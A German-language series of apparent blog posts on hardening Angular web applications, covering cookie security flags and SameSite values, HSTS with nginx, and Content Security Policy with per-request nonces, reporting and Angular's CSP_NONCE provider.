  1. HttpOnly: Das HttpOnly-Flag sollte immer gesetzt werden. Dies bedeutet, dass das Cookie nicht von clientseitigem JavaScript abgerufen und geändert werden kann, was hilft, Cross-Site-Scripting-(XSS)-Angriffe zu verhindern.
  2. Secure: Das Secure-Flag sollte immer gesetzt werden. Dies bedeutet, dass das Cookie nur über eine HTTPS-Verbindung gesendet wird, was hilft, Man-in-the-middle-Angriffe zu verhindern.
  3. SameSite: Das SameSite-Attribut sollte, wenn möglich, auf „Strict“ oder zumindest auf „Lax“ gesetzt werden. Dies verhindert, dass das Cookie bei Cross-Site-Requests gesendet wird, was hilft, Cross-Site-Request-Forgery-(CSRF)-Angriffe zu verhindern.

Die Cookie SameSite-Eigenschaften im Allgemeinem

SameSite ist ein Attribut von Cookies, das angibt, wie sie in Cross-Site-Anfragen behandelt werden sollen. Es gibt drei mögliche Werte für die SameSite-Eigenschaft: „Strict“, „Lax“ und „None“. Jeder Wert hat unterschiedliche Auswirkungen auf das Verhalten von Cookies. Leider kann man nicht generell einen Default Wert verwenden, sondern sollte abhängig vom Use Case des einzelnen Cookie entscheiden, welcher am besten geeignet ist.

  1. SameSite=Strict:
    Wenn die SameSite-Eigenschaft auf „Strict“ gesetzt ist, wird das Cookie nur an dieselbe Ursprungsseite gesendet, von der es stammt. Das bedeutet, dass das Cookie nicht in Cross-Site-Anfragen, wie zum Beispiel Klicks auf Links von einer anderen Website, gesendet wird. Es bietet eine hohe Sicherheit, da es das Risiko von Cross-Site Request Forgery (CSRF) reduziert. Allerdings kann es dazu führen, dass einige Funktionen, die auf Cookies von Drittanbietern angewiesen sind, möglicherweise nicht mehr wie erwartet funktionieren.
  2. SameSite=Lax:
    Bei der SameSite-Eigenschaft „Lax“ werden Cookies in Cross-Site-Anfragen nur eingeschränkt gesendet. Das Cookie wird jedoch an die Zielseite gesendet, wenn es sich um einen „Top-Level-Navigation“ handelt, z.B. wenn der Benutzer auf einen Link klickt, der zu einer anderen Website führt. Das Cookie wird jedoch nicht gesendet, wenn die Anfrage durch eine „eingebettete“ Ressource ausgelöst wird, wie z.B. ein Bild oder ein Skript auf einer anderen Website. SameSite=Lax ist die empfohlene Einstellung für die meisten Anwendungsfälle, da sie ein gutes Gleichgewicht zwischen Sicherheit und Funktionalität bietet.
  3. SameSite=None; Secure:
    Die SameSite-Eigenschaft „None“ erlaubt es dem Cookie, in Cross-Site-Anfragen gesendet zu werden, unabhängig davon, welche Seite die Anfrage auslöst. Dies ist nützlich, um bestimmte Funktionen zu ermöglichen, die Cookies von Drittanbietern erfordern, z.B. Single Sign-On über verschiedene Domänen hinweg.
  1. Anwendungsfall 1: Formularübermittlung / Session Cookie: In diesem Anwendungsfall wird ein Formular auf einer Website ausgefüllt und an denselben Ursprung gesendet. Das Cookie wird benötigt, um den Sitzungszustand aufrechtzuerhalten.
  2. Anwendungsfall 2: Cross-Site-Tracking: In diesem Anwendungsfall wird das Cookie verwendet, um das Verhalten eines Benutzers über verschiedene Websites hinweg zu verfolgen. Dies wird oft von Werbetreibenden und Analysetools verwendet, um personalisierte Werbung oder Analysen bereitzustellen.
  3. Anwendungsfall 3: Einbettung von Inhalten von Drittanbieter-Websites: In einigen Fällen kann es erforderlich sein, Inhalte von Drittanbieter-Websites, wie eingebettete Videos oder Social-Media-Widgets, in die eigene Website einzubetten. Um auf das Cookie der Drittanbieter-Website zuzugreifen und die gewünschten Funktionen bereitzustellen, kann die SameSite-Einstellung „None“ erforderlich sein.
Kategorien
Angular Security

Anwenden von HTTP Strict Transport Security (HSTS) in Angular

HTTP Strict Transport Security (HSTS) ist ein Sicherheitsmechanismus für HTTPS-Verbindungen und es schützt vor Aushebelung der Verbindungsverschlüsselung und Session Hijacking.

Der Server kann über den HTTP Response Header Strict-Transport-Security dem Browser mitteilen, verschlüsselte Verbindungen für eine definierte Zeit zu nutzen.

Der Browser wird jetzt alle Anfrage an den Server (Bilder, CSS, JS) automatisch mit HTTPS tätigen, auch wenn man im Code an einer Stelle einen Schreibfehler eingebaut hat wie hier:

<img src='http://foo.org/image.jpg'>  // mit HSTS geht der Request automatisch nach https://foo.org/image.jpg

Ein solcher Header sieht so aus:

Strict-Transport-Security: max-age=31536000

Damit wird dem Browser erklärt, nur verschlüsselte Verbindungen zu dieser Seite aufbauen soll innerhlab der nächsten 31536000 Sekunden (1 Jahr).

HSTS preload list

Ein Problem besteht darin, dass beim Erstaufruf einer Domain ein unverschlüsselter Request gesendet werden muss, um die Verschlüsselungsforderung des Servers zu prüfen. Um dieses Problem zu umgehen, gibt es die HSTS preload list, die von Google Chrome betreut und von anderen großen Webbrowsern genutzt wird. Wenn eine Domain in dieser Liste steht, wird die Erstanfrage übersprungen und die Kommunikation sofort verschlüsselt.

Die Eintragung zusätzlicher Domains in die HSTS preload list ist kostenlos möglich hier.

HSTS in Angular

HSTS muss im Webserver aktiviert werden und Angular braucht dafür keine Anpassungen.

Beispiel Implementation für nginx

Kategorien
Angular Security

Verwenden von Content Security Policy (CSP) in Angular

Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die von Webbrowsern genutzt wird, um bestimmte Arten von Angriffen zu verhindern, einschließlich Cross-Site Scripting (XSS) und Dateninjektionsangriffe. Sie funktioniert, indem sie Richtlinien für die Arten von Inhalten festlegt, die auf einer Webseite geladen und ausgeführt werden dürfen.

Die CSP wird vom Server als HTTP-Header gesendet. Ein typischer CSP-Header könnte folgendermaßen aussehen:

Content-Security-Policy: default-src 'self'; img-src 'self' https://example.com; script-src 'self' https://example.com;

Dieser Header legt eine Reihe von Richtlinien fest:

  • default-src 'self': Dies bedeutet, dass Inhalte (wie Skripte, Styles, Medien und mehr) nur von der aktuellen Domain geladen werden dürfen.
  • img-src 'self' https://example.com: Dies bedeutet, dass Bilder nur von der aktuellen Domain oder https://example.com geladen werden dürfen.
  • script-src 'self' https://example.com: Dies bedeutet, dass Skripte nur von der aktuellen Domain oder https://example.com geladen werden dürfen.

Diese Richtlinien helfen, Angriffe zu verhindern, indem sie den Ursprung von Inhalten, die in einer Webseite ausgeführt werden dürfen, einschränken. Beispielsweise würde eine CSP, die das Laden von Skripten nur von der aktuellen Domain erlaubt, verhindern, dass ein Angreifer ein Skript von einer externen Quelle in die Webseite einfügt.

Der CSP Nonce

In der Content Security Policy (CSP) kann eine Nonce (“number only used once”, in diesem Fall kann es auch ein alphanumerischer Wert sein) dazu verwendet werden, bestimmten Inline-Skripten oder Inline-Styles die Ausführung zu erlauben.

Jedes Mal, wenn die Seite geladen wird, generiert der Server eine neue eindeutige Nonce-Wert, die dann dem CSP-Header und dem entsprechenden Inline-Script oder -Style hinzugefügt wird.

Angenommen, Sie haben eine Webserver-Konfiguration (z.B. in Node.js), die in der Lage ist, eine zufällige Nonce zu generieren und in Ihre Seite einzufügen. Ihre CSP-Richtlinie könnte dann folgendermaßen aussehen:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-2726c7f26c'

In diesem Beispiel ist 'nonce-2726c7f26c' der Nonce-Wert. Dieser Wert würde dem Inline-Script-Tag in Ihrem HTML-Dokument hinzugefügt, so dass es trotz der CSP ausgeführt werden kann:

<script nonce="2726c7f26c">
    // JS Code hier
</script>

Wenn die Seite neu geladen wird, würde der Server eine neue Nonce generieren und sowohl den CSP-Header als auch das nonce-Attribut des Script-Tags aktualisieren. Das bedeutet, dass, selbst wenn ein Angreifer die aktuelle Nonce kennen würde, sie ihm nicht helfen würde, schädliche Skripte auszuführen, da die Nonce bei jedem Seitenladen geändert wird.

Der folgende Code würde vom Browser nicht ausgeführt werden als Schutz vor Angriffen:

<script>
    // Code wird geblockt
</script>

Die Reporting Funktion

Die Berichtsfunktion in der Content Security Policy (CSP) ermöglicht es Ihnen, Benachrichtigungen zu erhalten, wenn bestimmte Vorfälle, wie beispielsweise Verstöße gegen die CSP, auftreten. Dies wird über die report-uri oder die report-to Direktive in der CSP-Header-Zeichenkette gesteuert.

Wenn ein CSP-Verstoß auftritt, sendet der Browser einen POST-Request mit einem JSON-Body an die URL, die in der report-uri oder report-to Direktive angegeben ist.

Das JSON-Objekt enthält Details zum Verstoß, wie den Dokument-URI, den Verstoßenden URI, die Zeilen- und Spaltennummer, die die Verletzung verursacht hat, und die genaue CSP-Richtlinie, die verletzt wurde.

Hier ist ein Beispiel für eine CSP mit Berichtsfunktion:

Content-Security-Policy: default-src 'self'; report-uri /csp-violation-report-endpoint/

In diesem Fall würde der Browser, wenn ein Verstoß auftritt, einen POST-Request an /csp-violation-report-endpoint/ senden, der die Details des Verstoßes enthält.

Die Verknüpfung von Angular und dem Nonce Wert

Der Nonce Token wird vom Backend generiert und kann der Angular Anwendung bereit gestellt werden über:

import {bootstrapApplication, CSP_NONCE} from '@angular/core';
import {AppComponent} from './app/app.component';

bootstrapApplication(AppComponent, {
  providers: [{
    provide: CSP_NONCE,
    useValue: myNonceService.getValue()
  }]
});

Der Nonce Wert wird vom Backend gesetzt und beim ausliefern des Frontend Angular Projektes gesetzt über die index.html:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <base href="/" />
  </head>
  <body>
    <app-root
      data-nonce="MY_NONCE_PLACEHOLDER"></app-root>
  </body>
</html>

Der Service Zum Auslesen sieht so aus:

import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class MyNonceService {
  getValue(): string {
    return document.querySelector<HTMLElement>('app-root')?.dataset['nonce'];
  }
}

Jetzt muss das Backend so konfiguriert werden, dass es

  1. Bei jedem Request auf den Angular Code einen eindeutigen Nonce generiert und in den Header packt.
  2. Alle vorkommen von MY_NONCE_PLACEHOLDER ersetzt werden durch den Wert des Nonce.

Beispiel nginx Konfiguration:

add_header Content-Security-Policy "default-src 'self'; script-src 'nonce-${request_id}'; style-src 'nonce-${request_id}';";

Damit fügt der nginx dem Header den Nonce Wert hinzu.

Die request_id Variable wird vom nginx bei jedem Request automatisch berechnet und steht global zur Verfügung.

location / {
    sub_filter MY_NONCE_PLACEHOLDER $request_id;
    sub_filter_once off;         
    }

Diese Direktive sorgt dafür, dass jede Instanz von „MY_NONCE_PLACEHOLDER“ im HTML-Inhalt der Seite durch den Nonce Wert ersetzt wird.

Der CSP Header für Angular

Ab Angular Version 16:

default-src 'self'; 
style-src 'self' 'nonce-randomNonceGoesHere'; 
script-src 'self' 'nonce-randomNonceGoesHere';

Vor Version 16 war es notwendig ‚unsafe-inline‘ hinzuzufügen für die style-src:

default-src 'self'; 
style-src 'self' 'unsafe-inline' 'nonce-randomNonceGoesHere'; 
script-src 'self'  'nonce-randomNonceGoesHere';